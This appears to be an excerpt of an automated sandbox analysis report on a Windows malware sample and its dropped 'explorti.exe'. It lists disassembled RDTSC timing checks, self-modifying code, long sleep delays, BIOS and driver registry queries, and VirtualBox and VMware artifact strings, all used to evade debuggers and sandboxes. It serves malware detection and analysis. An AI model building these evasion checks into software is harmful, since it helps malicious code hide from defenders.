Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50C85 second address: 4D50C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50C8B second address: 4D50CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov si, 9A93h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9C644F7B2Bh 0x00000016 add si, DE7Eh 0x0000001b jmp 00007F9C644F7B39h 0x00000020 popfd 0x00000021 mov dx, cx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50CCA second address: 4D50CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C65100598h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50AA2 second address: 4D50AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50AC6 second address: 4D50ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD07FE second address: 4DD0804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD0804 second address: 4DD0808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD0808 second address: 4DD083B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F9C644F7B39h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9C644F7B2Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD083B second address: 4DD0857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD0857 second address: 4DD085B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD085B second address: 4DD086E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD086E second address: 4DD0886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DD0886 second address: 4DD088A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC09EF second address: 4DC09F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC09F5 second address: 4DC09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC09FB second address: 4DC09FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC09FF second address: 4DC0A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0A03 second address: 4DC0A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov edx, esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0A11 second address: 4DC0A4B instructions: 0x00000000 rdtsc 0x00000002 mov eax, 3DC1E411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, B04Dh 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F9C65100593h 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9C65100595h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC081E second address: 4DC082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC082D second address: 4DC0853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov eax, 6BD8FF39h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0853 second address: 4DC08BE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9C644F7B36h 0x00000008 sbb ax, F948h 0x0000000d jmp 00007F9C644F7B2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b call 00007F9C644F7B2Bh 0x00000020 mov eax, 108FFFAFh 0x00000025 pop esi 0x00000026 mov ecx, ebx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F9C644F7B37h 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 mov bh, ch 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC08BE second address: 4DC08C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC08C2 second address: 4DC08C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC08C6 second address: 4DC08CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0C91 second address: 4DC0CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C644F7B38h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0CC3 second address: 4DC0CC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0CC9 second address: 4DC0CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0CDA second address: 4DC0D0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, di 0x00000010 pushfd 0x00000011 jmp 00007F9C6510058Bh 0x00000016 jmp 00007F9C65100593h 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0DB3 second address: 4DC0DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0DB7 second address: 4DC0DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DC0DBB second address: 4DC0DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8FDB1 second address: D8FDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70362 second address: 4D70366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70366 second address: 4D703DF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9C65100595h 0x00000008 jmp 00007F9C6510058Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ah, A9h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F9C6510058Bh 0x0000001a push FFFFFFFEh 0x0000001c jmp 00007F9C65100596h 0x00000021 call 00007F9C65100589h 0x00000026 jmp 00007F9C65100590h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F9C6510058Dh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D703DF second address: 4D703E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D703E5 second address: 4D70415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e mov edx, esi 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9C65100594h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70415 second address: 4D7041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7041B second address: 4D7041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7041F second address: 4D70423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70423 second address: 4D704B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d mov si, E725h 0x00000011 mov ch, D0h 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 push ebx 0x00000017 pushfd 0x00000018 jmp 00007F9C65100596h 0x0000001d add cl, 00000068h 0x00000020 jmp 00007F9C6510058Bh 0x00000025 popfd 0x00000026 pop eax 0x00000027 pushad 0x00000028 mov ecx, edx 0x0000002a pushfd 0x0000002b jmp 00007F9C6510058Bh 0x00000030 or ecx, 6BE9BEAEh 0x00000036 jmp 00007F9C65100599h 0x0000003b popfd 0x0000003c popad 0x0000003d popad 0x0000003e push 020C67D1h 0x00000043 pushad 0x00000044 call 00007F9C6510058Dh 0x00000049 mov ebx, ecx 0x0000004b pop esi 0x0000004c popad 0x0000004d xor dword ptr [esp], 74FCC9D1h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 movsx ebx, cx 0x0000005a mov cl, 53h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D704B9 second address: 4D704F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 862Bh 0x00000007 mov eax, 0AE25A07h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr fs:[00000000h] 0x00000015 pushad 0x00000016 jmp 00007F9C644F7B38h 0x0000001b mov esi, 1D341F01h 0x00000020 popad 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D704F3 second address: 4D704FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 2F48E58Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D704FD second address: 4D70503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70503 second address: 4D70507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70507 second address: 4D7050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7050B second address: 4D7051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7051A second address: 4D7051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7051E second address: 4D70522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70522 second address: 4D70528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70528 second address: 4D70544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C65100598h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7065E second address: 4D70664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70664 second address: 4D706A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a call 00007F9C6510058Eh 0x0000000f push esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jmp 00007F9C65100597h 0x00000017 popad 0x00000018 mov dword ptr [esp], edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov cx, dx 0x00000021 movsx ebx, cx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D706A4 second address: 4D706AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D706AA second address: 4D706AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D706AE second address: 4D7072F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FBB370h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9C644F7B2Dh 0x00000014 adc ax, C0D6h 0x00000019 jmp 00007F9C644F7B31h 0x0000001e popfd 0x0000001f mov ch, ECh 0x00000021 popad 0x00000022 xor dword ptr [ebp-08h], eax 0x00000025 jmp 00007F9C644F7B33h 0x0000002a xor eax, ebp 0x0000002c jmp 00007F9C644F7B2Fh 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 movsx edx, cx 0x00000038 pushfd 0x00000039 jmp 00007F9C644F7B2Ch 0x0000003e and al, FFFFFF88h 0x00000041 jmp 00007F9C644F7B2Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7072F second address: 4D70790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9C65100597h 0x00000011 sbb si, EA2Eh 0x00000016 jmp 00007F9C65100599h 0x0000001b popfd 0x0000001c popad 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 movzx eax, di 0x00000024 mov dh, 8Ah 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70790 second address: 4D707AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D707AA second address: 4D707AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D707AE second address: 4D707B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D707B4 second address: 4D70829 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 push ebx 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007F9C6510058Fh 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a pushad 0x0000001b jmp 00007F9C65100591h 0x00000020 pushfd 0x00000021 jmp 00007F9C65100590h 0x00000026 adc esi, 0EFCAEC8h 0x0000002c jmp 00007F9C6510058Bh 0x00000031 popfd 0x00000032 popad 0x00000033 popad 0x00000034 mov eax, dword ptr [esi+10h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9C65100595h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70829 second address: 4D70839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70839 second address: 4D70863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9C65100595h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70863 second address: 4D70883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9CD6646FD2h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70883 second address: 4D7088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7088B second address: 4D708E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8EC4h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub eax, eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9C644F7B2Bh 0x00000016 or cx, A5DEh 0x0000001b jmp 00007F9C644F7B39h 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [ebp-20h], eax 0x00000025 jmp 00007F9C644F7B2Dh 0x0000002a mov ebx, dword ptr [esi] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9C644F7B2Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D708E8 second address: 4D708EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\i52xoegJro.exe	Special instruction interceptor: First address: D82449 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\i52xoegJro.exe	Special instruction interceptor: First address: D80A26 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\i52xoegJro.exe	Special instruction interceptor: First address: D8BB8B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\i52xoegJro.exe	Special instruction interceptor: First address: BDE8C8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\i52xoegJro.exe	Special instruction interceptor: First address: E10A5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 492449 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 490A26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 49BB8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 2EE8C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 520A5C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Code function: 0_2_04DC0C6B rdtsc

0_2_04DC0C6B

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 505	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1262	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6532	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7148	Thread sleep count: 1187 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7148	Thread sleep time: -2375187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2896	Thread sleep count: 505 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2896	Thread sleep time: -15150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7324	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6512	Thread sleep count: 1147 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6512	Thread sleep time: -2295147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6376	Thread sleep count: 1262 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6376	Thread sleep time: -2525262s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: explorti.exe, explorti.exe, 0000000A.00000002.4086023159.0000000000476000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: i52xoegJro.exe, 00000000.00000003.1676849789.0000000000A34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
